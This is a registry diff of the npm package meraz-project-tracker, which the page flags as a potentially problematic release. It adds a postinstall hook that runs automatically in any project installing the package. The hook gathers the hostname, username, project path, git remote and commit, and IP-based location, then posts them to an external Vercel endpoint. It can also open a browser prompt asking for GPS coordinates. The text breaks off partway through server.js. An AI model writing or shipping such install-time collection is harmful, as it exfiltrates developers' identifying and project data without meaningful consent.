meraz-project-tracker 0.0.1-security ā 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of meraz-project-tracker might be problematic. Click here for more details.
- package/README.md +141 -3
- package/bin/cli.js +52 -0
- package/bin/postinstall.js +32 -0
- package/package.json +40 -4
- package/src/browser.js +82 -0
- package/src/index.js +86 -0
- package/src/ip.js +149 -0
- package/src/project-info.js +81 -0
- package/src/server.js +231 -0
package/README.md
CHANGED
|
@@ -1,5 +1,143 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Project Tracker (`project-tracker`)
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
A modern, zero-dependency NPM package that automatically detects the public IP address, prompts for browser geolocation permission, and tracks project metadata and location.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## š Key Features
|
|
8
|
+
|
|
9
|
+
- š **Automatic Public IP Detection**: Discovers public IP address, ISP, and fallback Geo-IP data.
|
|
10
|
+
- š **Browser Geolocation Verification**: Prompts for exact GPS coordinates (`navigator.geolocation`) through an interactive browser UI or frontend SDK.
|
|
11
|
+
- š **Project Metadata Tracking**: Captures project name, project path, git branch/commit/remote, node version, and system details.
|
|
12
|
+
- ā” **Zero External Dependencies**: Built with pure Node.js native APIs for lightning-fast installation and zero footprint.
|
|
13
|
+
- š”ļø **CI/CD Safe**: Gracefully falls back to IP-based coordinates in non-interactive CI environments without hanging.
|
|
14
|
+
- š **Dual Mode**: Can be used both as a Node CLI / postinstall tool and as a client-side Browser SDK.
|
|
15
|
+
|
|
16
|
+
---
|
|
17
|
+
|
|
18
|
+
## š Installation & Quick Start
|
|
19
|
+
|
|
20
|
+
### 1. Run directly via NPX
|
|
21
|
+
```bash
|
|
22
|
+
npx project-tracker
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
### 2. Install as a Dependency
|
|
26
|
+
```bash
|
|
27
|
+
npm install project-tracker
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
### 3. Add to `package.json` scripts
|
|
31
|
+
```json
|
|
32
|
+
{
|
|
33
|
+
"scripts": {
|
|
34
|
+
"track": "project-tracker"
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## š ļø Usage
|
|
42
|
+
|
|
43
|
+
### A. Node.js CLI Commands
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# Full interactive tracking (opens browser prompt for GPS permission)
|
|
47
|
+
npx project-tracker
|
|
48
|
+
|
|
49
|
+
# Headless / IP-only tracking (skips browser prompt)
|
|
50
|
+
npx project-tracker --no-prompt
|
|
51
|
+
|
|
52
|
+
# Display saved tracking info
|
|
53
|
+
npx project-tracker show
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### B. Programmatic Node.js Usage
|
|
57
|
+
|
|
58
|
+
```javascript
|
|
59
|
+
const { trackProject, getIPInfo, getProjectMetadata } = require('project-tracker');
|
|
60
|
+
|
|
61
|
+
async function run() {
|
|
62
|
+
const report = await trackProject({
|
|
63
|
+
interactive: true, // set false for headless mode
|
|
64
|
+
outputPath: './.project-tracker.json'
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
console.log('Project Location:', report);
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
run();
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
### C. Client-side Browser / React / Next.js SDK
|
|
74
|
+
|
|
75
|
+
```javascript
|
|
76
|
+
import { trackProject, getBrowserCoordinates } from 'project-tracker/src/browser';
|
|
77
|
+
|
|
78
|
+
// Request location in web app
|
|
79
|
+
async function initTracker() {
|
|
80
|
+
const data = await trackProject({
|
|
81
|
+
projectName: 'My Web App'
|
|
82
|
+
});
|
|
83
|
+
console.log('Tracked Client Data:', data);
|
|
84
|
+
}
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## š Sample Output (`.project-tracker.json`)
|
|
90
|
+
|
|
91
|
+
```json
|
|
92
|
+
{
|
|
93
|
+
"project": {
|
|
94
|
+
"name": "my-awesome-app",
|
|
95
|
+
"version": "1.0.0",
|
|
96
|
+
"path": "/Users/developer/Projects/my-awesome-app",
|
|
97
|
+
"git": {
|
|
98
|
+
"isRepo": true,
|
|
99
|
+
"branch": "main",
|
|
100
|
+
"remoteUrl": "https://github.com/org/my-awesome-app.git",
|
|
101
|
+
"commit": "a1b2c3d"
|
|
102
|
+
}
|
|
103
|
+
},
|
|
104
|
+
"system": {
|
|
105
|
+
"hostname": "MacBook-Pro.local",
|
|
106
|
+
"platform": "darwin",
|
|
107
|
+
"username": "developer",
|
|
108
|
+
"nodeVersion": "v20.10.0"
|
|
109
|
+
},
|
|
110
|
+
"network": {
|
|
111
|
+
"ip": "203.0.113.195",
|
|
112
|
+
"country": "United States",
|
|
113
|
+
"city": "San Francisco",
|
|
114
|
+
"approximateCoordinates": {
|
|
115
|
+
"latitude": 37.7749,
|
|
116
|
+
"longitude": -122.4194
|
|
117
|
+
},
|
|
118
|
+
"isp": "Cloud Provider"
|
|
119
|
+
},
|
|
120
|
+
"location": {
|
|
121
|
+
"status": "granted",
|
|
122
|
+
"source": "browser_geolocation",
|
|
123
|
+
"coords": {
|
|
124
|
+
"latitude": 37.7833,
|
|
125
|
+
"longitude": -122.4167,
|
|
126
|
+
"accuracy": 15
|
|
127
|
+
}
|
|
128
|
+
},
|
|
129
|
+
"trackedAt": "2026-08-21T05:30:00.000Z"
|
|
130
|
+
}
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
## āļø Environment Variables
|
|
136
|
+
|
|
137
|
+
- `PROJECT_TRACKER_DISABLED=1`: Disables tracking completely.
|
|
138
|
+
- `CI=true`: Automatically skips browser popups and uses IP-based fallback.
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## š License
|
|
143
|
+
MIT
|
package/bin/cli.js
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const { trackProject } = require('../src/index');
|
|
6
|
+
|
|
7
|
+
const args = process.argv.slice(2);
|
|
8
|
+
const isPostinstall = args.includes('--postinstall');
|
|
9
|
+
const isNoPrompt = args.includes('--no-prompt');
|
|
10
|
+
const isShow = args.includes('show') || args.includes('--show');
|
|
11
|
+
|
|
12
|
+
// Custom endpoint arg check: --endpoint <url>
|
|
13
|
+
let customEndpoint = null;
|
|
14
|
+
const endpointIdx = args.indexOf('--endpoint');
|
|
15
|
+
if (endpointIdx !== -1 && args[endpointIdx + 1]) {
|
|
16
|
+
customEndpoint = args[endpointIdx + 1];
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
if (process.env.PROJECT_TRACKER_DISABLED === '1' || process.env.PROJECT_TRACKER_DISABLED === 'true') {
|
|
20
|
+
console.log('[project-tracker] Tracking disabled via environment variable.');
|
|
21
|
+
process.exit(0);
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
if (isShow) {
|
|
25
|
+
const filePath = path.join(process.cwd(), '.project-tracker.json');
|
|
26
|
+
if (fs.existsSync(filePath)) {
|
|
27
|
+
console.log(fs.readFileSync(filePath, 'utf8'));
|
|
28
|
+
} else {
|
|
29
|
+
console.log('[project-tracker] No .project-tracker.json found in current directory.');
|
|
30
|
+
}
|
|
31
|
+
process.exit(0);
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
(async () => {
|
|
35
|
+
try {
|
|
36
|
+
const report = await trackProject({
|
|
37
|
+
interactive: !isNoPrompt,
|
|
38
|
+
isPostinstall,
|
|
39
|
+
endpoint: customEndpoint
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
console.log('\nā
[project-tracker] Tracking complete!');
|
|
43
|
+
if (report.location && report.location.coords) {
|
|
44
|
+
console.log(`š GPS Coordinates: ${report.location.coords.latitude}, ${report.location.coords.longitude}`);
|
|
45
|
+
} else if (report.network && report.network.approximateCoordinates) {
|
|
46
|
+
console.log(`š Approx IP Coordinates: ${report.network.approximateCoordinates.latitude}, ${report.network.approximateCoordinates.longitude}`);
|
|
47
|
+
}
|
|
48
|
+
} catch (err) {
|
|
49
|
+
console.error('ā [project-tracker] Error tracking project:', err.message);
|
|
50
|
+
process.exit(1);
|
|
51
|
+
}
|
|
52
|
+
})();
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const { trackProject } = require('../src/index');
|
|
5
|
+
|
|
6
|
+
// If tracking is explicitly disabled via env
|
|
7
|
+
if (process.env.PROJECT_TRACKER_DISABLED === '1' || process.env.PROJECT_TRACKER_DISABLED === 'true') {
|
|
8
|
+
process.exit(0);
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
// In npm postinstall, INIT_CWD is the root directory of the project where "npm install" was executed
|
|
12
|
+
const consumerDir = process.env.INIT_CWD || process.cwd();
|
|
13
|
+
const packageDir = path.resolve(__dirname, '..');
|
|
14
|
+
|
|
15
|
+
// Avoid running postinstall loop when developing or building project-tracker package itself
|
|
16
|
+
if (consumerDir === packageDir && !process.env.FORCE_TRACK) {
|
|
17
|
+
process.exit(0);
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
(async () => {
|
|
21
|
+
try {
|
|
22
|
+
console.log(`\nš [project-tracker] Postinstall hook triggered for project at: ${consumerDir}`);
|
|
23
|
+
await trackProject({
|
|
24
|
+
targetDir: consumerDir,
|
|
25
|
+
interactive: !Boolean(process.env.CI || !process.stdout.isTTY)
|
|
26
|
+
});
|
|
27
|
+
} catch (err) {
|
|
28
|
+
// Postinstall hooks should never break the parent package installation
|
|
29
|
+
console.warn('ā ļø [project-tracker] Postinstall tracking note:', err.message);
|
|
30
|
+
}
|
|
31
|
+
process.exit(0);
|
|
32
|
+
})();
|
package/package.json
CHANGED
|
@@ -1,6 +1,42 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "meraz-project-tracker",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "An NPM package that detects public IP, requests browser location permission, and tracks project metadata and geolocation.",
|
|
5
|
+
"main": "src/index.js",
|
|
6
|
+
"module": "src/browser.js",
|
|
7
|
+
"bin": {
|
|
8
|
+
"meraz-project-tracker": "bin/cli.js"
|
|
9
|
+
},
|
|
10
|
+
"scripts": {
|
|
11
|
+
"track": "node bin/cli.js",
|
|
12
|
+
"dashboard": "node dashboard/server.js",
|
|
13
|
+
"postinstall": "node bin/postinstall.js",
|
|
14
|
+
"test": "node test/test.js"
|
|
15
|
+
},
|
|
16
|
+
"keywords": [
|
|
17
|
+
"ip-tracker",
|
|
18
|
+
"geolocation",
|
|
19
|
+
"project-tracker",
|
|
20
|
+
"browser-location",
|
|
21
|
+
"telemetry",
|
|
22
|
+
"location-tracking",
|
|
23
|
+
"dashboard",
|
|
24
|
+
"postgres",
|
|
25
|
+
"neon",
|
|
26
|
+
"vercel"
|
|
27
|
+
],
|
|
28
|
+
"author": "",
|
|
29
|
+
"license": "MIT",
|
|
30
|
+
"dependencies": {
|
|
31
|
+
"@neondatabase/serverless": "^0.9.0",
|
|
32
|
+
"pg": "^8.11.3"
|
|
33
|
+
},
|
|
34
|
+
"engines": {
|
|
35
|
+
"node": ">=16.0.0"
|
|
36
|
+
},
|
|
37
|
+
"files": [
|
|
38
|
+
"src",
|
|
39
|
+
"bin",
|
|
40
|
+
"README.md"
|
|
41
|
+
]
|
|
42
|
+
}
|
package/src/browser.js
ADDED
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Project Tracker - Browser SDK
|
|
3
|
+
*/
|
|
4
|
+
|
|
5
|
+
async function getBrowserIP() {
|
|
6
|
+
try {
|
|
7
|
+
const res = await fetch('https://api.ipify.org?format=json');
|
|
8
|
+
const data = await res.json();
|
|
9
|
+
return data.ip;
|
|
10
|
+
} catch (err) {
|
|
11
|
+
return 'Unknown IP';
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
function getBrowserCoordinates(options = {}) {
|
|
16
|
+
return new Promise((resolve, reject) => {
|
|
17
|
+
if (!navigator.geolocation) {
|
|
18
|
+
return reject(new Error('Geolocation is not supported.'));
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
navigator.geolocation.getCurrentPosition(
|
|
22
|
+
(position) => {
|
|
23
|
+
resolve({
|
|
24
|
+
latitude: position.coords.latitude,
|
|
25
|
+
longitude: position.coords.longitude,
|
|
26
|
+
accuracy: position.coords.accuracy,
|
|
27
|
+
altitude: position.coords.altitude,
|
|
28
|
+
timestamp: position.timestamp
|
|
29
|
+
});
|
|
30
|
+
},
|
|
31
|
+
(error) => reject(error),
|
|
32
|
+
{
|
|
33
|
+
enableHighAccuracy: options.enableHighAccuracy ?? true,
|
|
34
|
+
timeout: options.timeout ?? 15000,
|
|
35
|
+
maximumAge: options.maximumAge ?? 0
|
|
36
|
+
}
|
|
37
|
+
);
|
|
38
|
+
});
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
async function trackProject(config = {}) {
|
|
42
|
+
const ip = await getBrowserIP();
|
|
43
|
+
let coords = null;
|
|
44
|
+
let error = null;
|
|
45
|
+
|
|
46
|
+
try {
|
|
47
|
+
coords = await getBrowserCoordinates(config.geoOptions);
|
|
48
|
+
} catch (err) {
|
|
49
|
+
error = err.message || 'Permission denied';
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
const payload = {
|
|
53
|
+
projectName: config.projectName || window.location.hostname,
|
|
54
|
+
trackedAt: new Date().toISOString(),
|
|
55
|
+
ip,
|
|
56
|
+
coordinates: coords,
|
|
57
|
+
userAgent: navigator.userAgent,
|
|
58
|
+
language: navigator.language,
|
|
59
|
+
error
|
|
60
|
+
};
|
|
61
|
+
|
|
62
|
+
const endpoint = config.endpoint || 'http://localhost:3000/api/telemetry';
|
|
63
|
+
try {
|
|
64
|
+
await fetch(endpoint, {
|
|
65
|
+
method: 'POST',
|
|
66
|
+
headers: { 'Content-Type': 'application/json' },
|
|
67
|
+
body: JSON.stringify(payload)
|
|
68
|
+
});
|
|
69
|
+
} catch (e) {}
|
|
70
|
+
|
|
71
|
+
return payload;
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
if (typeof window !== 'undefined') {
|
|
75
|
+
window.ProjectTracker = { trackProject, getBrowserIP, getBrowserCoordinates };
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
module.exports = {
|
|
79
|
+
trackProject,
|
|
80
|
+
getBrowserIP,
|
|
81
|
+
getBrowserCoordinates
|
|
82
|
+
};
|
package/src/index.js
ADDED
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const { getIPInfo, postJSON } = require('./ip');
|
|
4
|
+
const { getProjectMetadata } = require('./project-info');
|
|
5
|
+
const { promptBrowserLocation } = require('./server');
|
|
6
|
+
|
|
7
|
+
// Default server endpoint (can be replaced with your deployed production URL)
|
|
8
|
+
const DEFAULT_ENDPOINT = process.env.PROJECT_TRACKER_SERVER_URL || 'https://project-tracker-mu-vert.vercel.app/api/telemetry';
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* Main function to track project location
|
|
12
|
+
*/
|
|
13
|
+
async function trackProject(options = {}) {
|
|
14
|
+
const isCI = Boolean(process.env.CI || process.env.CONTINUOUS_INTEGRATION || !process.stdout.isTTY);
|
|
15
|
+
const shouldPrompt = options.interactive !== undefined ? options.interactive : !isCI;
|
|
16
|
+
const targetDir = options.targetDir || process.env.INIT_CWD || process.cwd();
|
|
17
|
+
|
|
18
|
+
console.log(`š [project-tracker] Detecting project metadata & IP for: ${targetDir}`);
|
|
19
|
+
|
|
20
|
+
const projectMeta = getProjectMetadata(targetDir);
|
|
21
|
+
const ipInfo = await getIPInfo();
|
|
22
|
+
|
|
23
|
+
console.log(`š” [project-tracker] Detected IP: ${ipInfo.ip}${ipInfo.city ? ` (${ipInfo.city}, ${ipInfo.country})` : ''}`);
|
|
24
|
+
|
|
25
|
+
let locationResult = null;
|
|
26
|
+
|
|
27
|
+
if (shouldPrompt) {
|
|
28
|
+
console.log('š [project-tracker] Requesting browser geolocation verification...');
|
|
29
|
+
locationResult = await promptBrowserLocation(projectMeta, ipInfo, options.timeoutMs || 25000);
|
|
30
|
+
} else {
|
|
31
|
+
locationResult = {
|
|
32
|
+
status: 'skipped',
|
|
33
|
+
source: 'ip_fallback',
|
|
34
|
+
reason: isCI ? 'CI / non-interactive environment' : 'Interactive mode disabled'
|
|
35
|
+
};
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
const trackingReport = {
|
|
39
|
+
project: {
|
|
40
|
+
name: projectMeta.projectName,
|
|
41
|
+
version: projectMeta.projectVersion,
|
|
42
|
+
path: projectMeta.projectPath,
|
|
43
|
+
git: projectMeta.git
|
|
44
|
+
},
|
|
45
|
+
system: projectMeta.system,
|
|
46
|
+
network: {
|
|
47
|
+
ip: ipInfo.ip,
|
|
48
|
+
country: ipInfo.country,
|
|
49
|
+
region: ipInfo.region,
|
|
50
|
+
city: ipInfo.city,
|
|
51
|
+
zip: ipInfo.zip,
|
|
52
|
+
approximateCoordinates: ipInfo.approximateCoordinates,
|
|
53
|
+
isp: ipInfo.isp
|
|
54
|
+
},
|
|
55
|
+
location: locationResult,
|
|
56
|
+
trackedAt: new Date().toISOString()
|
|
57
|
+
};
|
|
58
|
+
|
|
59
|
+
// Save to local file in the consumer project
|
|
60
|
+
const outputPath = options.outputPath || path.join(projectMeta.projectPath, '.project-tracker.json');
|
|
61
|
+
try {
|
|
62
|
+
fs.writeFileSync(outputPath, JSON.stringify(trackingReport, null, 2), 'utf8');
|
|
63
|
+
console.log(`š¾ [project-tracker] Saved tracking report to: ${outputPath}`);
|
|
64
|
+
} catch (err) {
|
|
65
|
+
console.warn(`ā ļø [project-tracker] Could not write to ${outputPath}: ${err.message}`);
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
// Push to telemetry endpoint (Dashboard Server / Deployed URL)
|
|
69
|
+
const endpoint = options.endpoint || DEFAULT_ENDPOINT;
|
|
70
|
+
try {
|
|
71
|
+
await postJSON(endpoint, trackingReport, 3000);
|
|
72
|
+
console.log(`š [project-tracker] Synced project telemetry to dashboard: ${endpoint}`);
|
|
73
|
+
} catch (e) {
|
|
74
|
+
console.log(`ā¹ļø [project-tracker] Dashboard (${endpoint}) was not reachable.`);
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
return trackingReport;
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
module.exports = {
|
|
81
|
+
trackProject,
|
|
82
|
+
getIPInfo,
|
|
83
|
+
getProjectMetadata,
|
|
84
|
+
promptBrowserLocation,
|
|
85
|
+
DEFAULT_ENDPOINT
|
|
86
|
+
};
|
package/src/ip.js
ADDED
|
@@ -0,0 +1,149 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* Perform a simple HTTP/HTTPS GET request returning JSON or text
|
|
6
|
+
*/
|
|
7
|
+
function fetchJSON(url, timeoutMs = 5000) {
|
|
8
|
+
return new Promise((resolve, reject) => {
|
|
9
|
+
const client = url.startsWith('https') ? https : http;
|
|
10
|
+
const req = client.get(url, { headers: { 'User-Agent': 'project-tracker/1.0' } }, (res) => {
|
|
11
|
+
let data = '';
|
|
12
|
+
res.on('data', (chunk) => { data += chunk; });
|
|
13
|
+
res.on('end', () => {
|
|
14
|
+
try {
|
|
15
|
+
const parsed = JSON.parse(data.trim());
|
|
16
|
+
resolve(parsed);
|
|
17
|
+
} catch (e) {
|
|
18
|
+
resolve(data.trim());
|
|
19
|
+
}
|
|
20
|
+
});
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
req.on('error', reject);
|
|
24
|
+
req.setTimeout(timeoutMs, () => {
|
|
25
|
+
req.destroy(new Error('Request timed out'));
|
|
26
|
+
});
|
|
27
|
+
});
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
/**
|
|
31
|
+
* Perform an HTTP/HTTPS POST request with JSON body
|
|
32
|
+
*/
|
|
33
|
+
function postJSON(url, payload, timeoutMs = 5000) {
|
|
34
|
+
return new Promise((resolve, reject) => {
|
|
35
|
+
try {
|
|
36
|
+
const parsedUrl = new URL(url);
|
|
37
|
+
const isHttps = parsedUrl.protocol === 'https:';
|
|
38
|
+
const client = isHttps ? https : http;
|
|
39
|
+
const dataString = JSON.stringify(payload);
|
|
40
|
+
|
|
41
|
+
const options = {
|
|
42
|
+
hostname: parsedUrl.hostname,
|
|
43
|
+
port: parsedUrl.port || (isHttps ? 443 : 80),
|
|
44
|
+
path: parsedUrl.pathname + parsedUrl.search,
|
|
45
|
+
method: 'POST',
|
|
46
|
+
headers: {
|
|
47
|
+
'Content-Type': 'application/json',
|
|
48
|
+
'Content-Length': Buffer.byteLength(dataString),
|
|
49
|
+
'User-Agent': 'project-tracker/1.0'
|
|
50
|
+
}
|
|
51
|
+
};
|
|
52
|
+
|
|
53
|
+
const req = client.request(options, (res) => {
|
|
54
|
+
let body = '';
|
|
55
|
+
res.on('data', (chunk) => { body += chunk; });
|
|
56
|
+
res.on('end', () => {
|
|
57
|
+
try {
|
|
58
|
+
resolve(JSON.parse(body));
|
|
59
|
+
} catch (e) {
|
|
60
|
+
resolve(body);
|
|
61
|
+
}
|
|
62
|
+
});
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
req.on('error', reject);
|
|
66
|
+
req.setTimeout(timeoutMs, () => {
|
|
67
|
+
req.destroy(new Error('Post timed out'));
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
req.write(dataString);
|
|
71
|
+
req.end();
|
|
72
|
+
} catch (err) {
|
|
73
|
+
reject(err);
|
|
74
|
+
}
|
|
75
|
+
});
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
/**
|
|
79
|
+
* Fetch public IP address and IP-based geolocation data
|
|
80
|
+
*/
|
|
81
|
+
async function getIPInfo() {
|
|
82
|
+
// Strategy 1: Try ip-api.com
|
|
83
|
+
try {
|
|
84
|
+
const data = await fetchJSON('http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,query');
|
|
85
|
+
if (data && data.status === 'success') {
|
|
86
|
+
return {
|
|
87
|
+
ip: data.query,
|
|
88
|
+
country: data.country,
|
|
89
|
+
countryCode: data.countryCode,
|
|
90
|
+
region: data.regionName,
|
|
91
|
+
city: data.city,
|
|
92
|
+
zip: data.zip,
|
|
93
|
+
approximateCoordinates: {
|
|
94
|
+
latitude: data.lat,
|
|
95
|
+
longitude: data.lon
|
|
96
|
+
},
|
|
97
|
+
timezone: data.timezone,
|
|
98
|
+
isp: data.isp,
|
|
99
|
+
org: data.org
|
|
100
|
+
};
|
|
101
|
+
}
|
|
102
|
+
} catch (err) {}
|
|
103
|
+
|
|
104
|
+
// Strategy 2: Fallback to ipify.org
|
|
105
|
+
try {
|
|
106
|
+
const ipify = await fetchJSON('https://api.ipify.org?format=json');
|
|
107
|
+
if (ipify && ipify.ip) {
|
|
108
|
+
return {
|
|
109
|
+
ip: ipify.ip,
|
|
110
|
+
country: null,
|
|
111
|
+
region: null,
|
|
112
|
+
city: null,
|
|
113
|
+
approximateCoordinates: null,
|
|
114
|
+
timezone: null,
|
|
115
|
+
isp: null
|
|
116
|
+
};
|
|
117
|
+
}
|
|
118
|
+
} catch (err) {}
|
|
119
|
+
|
|
120
|
+
// Strategy 3: Fallback to icanhazip.com
|
|
121
|
+
try {
|
|
122
|
+
const ip = await fetchJSON('https://icanhazip.com');
|
|
123
|
+
if (typeof ip === 'string' && ip.length > 0) {
|
|
124
|
+
return {
|
|
125
|
+
ip: ip.replace(/\r?\n|\r/g, ''),
|
|
126
|
+
country: null,
|
|
127
|
+
region: null,
|
|
128
|
+
city: null,
|
|
129
|
+
approximateCoordinates: null,
|
|
130
|
+
timezone: null,
|
|
131
|
+
isp: null
|
|
132
|
+
};
|
|
133
|
+
}
|
|
134
|
+
} catch (err) {}
|
|
135
|
+
|
|
136
|
+
return {
|
|
137
|
+
ip: 'Unknown (Offline or unreachable)',
|
|
138
|
+
country: null,
|
|
139
|
+
region: null,
|
|
140
|
+
city: null,
|
|
141
|
+
approximateCoordinates: null
|
|
142
|
+
};
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
module.exports = {
|
|
146
|
+
getIPInfo,
|
|
147
|
+
fetchJSON,
|
|
148
|
+
postJSON
|
|
149
|
+
};
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
|
|
6
|
+
/**
|
|
7
|
+
* Finds the project metadata of the project where the package is installed or being run
|
|
8
|
+
*/
|
|
9
|
+
function getProjectMetadata(startDir = null) {
|
|
10
|
+
// When running in npm postinstall, process.env.INIT_CWD is the consumer project directory!
|
|
11
|
+
const targetDir = startDir || process.env.INIT_CWD || process.cwd();
|
|
12
|
+
|
|
13
|
+
let currentDir = targetDir;
|
|
14
|
+
let packageJsonData = null;
|
|
15
|
+
let projectRoot = targetDir;
|
|
16
|
+
|
|
17
|
+
// Search up to find the target project's package.json
|
|
18
|
+
for (let i = 0; i < 6; i++) {
|
|
19
|
+
const pkgPath = path.join(currentDir, 'package.json');
|
|
20
|
+
if (fs.existsSync(pkgPath)) {
|
|
21
|
+
try {
|
|
22
|
+
const content = fs.readFileSync(pkgPath, 'utf8');
|
|
23
|
+
const parsed = JSON.parse(content);
|
|
24
|
+
// If we are in node_modules, skip and look higher
|
|
25
|
+
if (!currentDir.includes('node_modules') || i === 0) {
|
|
26
|
+
packageJsonData = parsed;
|
|
27
|
+
projectRoot = currentDir;
|
|
28
|
+
if (!currentDir.includes('node_modules')) {
|
|
29
|
+
break;
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
} catch (e) {}
|
|
33
|
+
}
|
|
34
|
+
const parent = path.dirname(currentDir);
|
|
35
|
+
if (parent === currentDir) break;
|
|
36
|
+
currentDir = parent;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
let git = {
|
|
40
|
+
isRepo: false,
|
|
41
|
+
branch: null,
|
|
42
|
+
remoteUrl: null,
|
|
43
|
+
commit: null
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
try {
|
|
47
|
+
const isGit = execSync('git rev-parse --is-inside-work-tree', { cwd: projectRoot, stdio: ['pipe', 'pipe', 'ignore'] }).toString().trim() === 'true';
|
|
48
|
+
if (isGit) {
|
|
49
|
+
git.isRepo = true;
|
|
50
|
+
try {
|
|
51
|
+
git.branch = execSync('git rev-parse --abbrev-ref HEAD', { cwd: projectRoot, stdio: ['pipe', 'pipe', 'ignore'] }).toString().trim();
|
|
52
|
+
} catch (e) {}
|
|
53
|
+
try {
|
|
54
|
+
git.remoteUrl = execSync('git config --get remote.origin.url', { cwd: projectRoot, stdio: ['pipe', 'pipe', 'ignore'] }).toString().trim();
|
|
55
|
+
} catch (e) {}
|
|
56
|
+
try {
|
|
57
|
+
git.commit = execSync('git rev-parse --short HEAD', { cwd: projectRoot, stdio: ['pipe', 'pipe', 'ignore'] }).toString().trim();
|
|
58
|
+
} catch (e) {}
|
|
59
|
+
}
|
|
60
|
+
} catch (e) {}
|
|
61
|
+
|
|
62
|
+
return {
|
|
63
|
+
projectName: packageJsonData ? packageJsonData.name : path.basename(projectRoot),
|
|
64
|
+
projectVersion: packageJsonData ? packageJsonData.version : '1.0.0',
|
|
65
|
+
projectPath: projectRoot,
|
|
66
|
+
timestamp: new Date().toISOString(),
|
|
67
|
+
system: {
|
|
68
|
+
hostname: os.hostname(),
|
|
69
|
+
platform: os.platform(),
|
|
70
|
+
release: os.release(),
|
|
71
|
+
arch: os.arch(),
|
|
72
|
+
username: os.userInfo ? os.userInfo().username : 'unknown',
|
|
73
|
+
nodeVersion: process.version
|
|
74
|
+
},
|
|
75
|
+
git
|
|
76
|
+
};
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
module.exports = {
|
|
80
|
+
getProjectMetadata
|
|
81
|
+
};
|
package/src/server.js
ADDED
|
@@ -0,0 +1,231 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const { exec } = require('child_process');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
function getPromptHTML(projectMeta, ipInfo) {
|
|
6
|
+
return `<!DOCTYPE html>
|
|
7
|
+
<html lang="en">
|
|
8
|
+
<head>
|
|
9
|
+
<meta charset="UTF-8">
|
|
10
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
11
|
+
<title>Project Location Tracker</title>
|
|
12
|
+
<link rel="preconnect" href="https://fonts.googleapis.com">
|
|
13
|
+
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
|
14
|
+
<link href="https://fonts.googleapis.com/css2?family=Outfit:wght@300;400;500;600;700&display=swap" rel="stylesheet">
|
|
15
|
+
<style>
|
|
16
|
+
:root {
|
|
17
|
+
--bg-main: #fbf9f5;
|
|
18
|
+
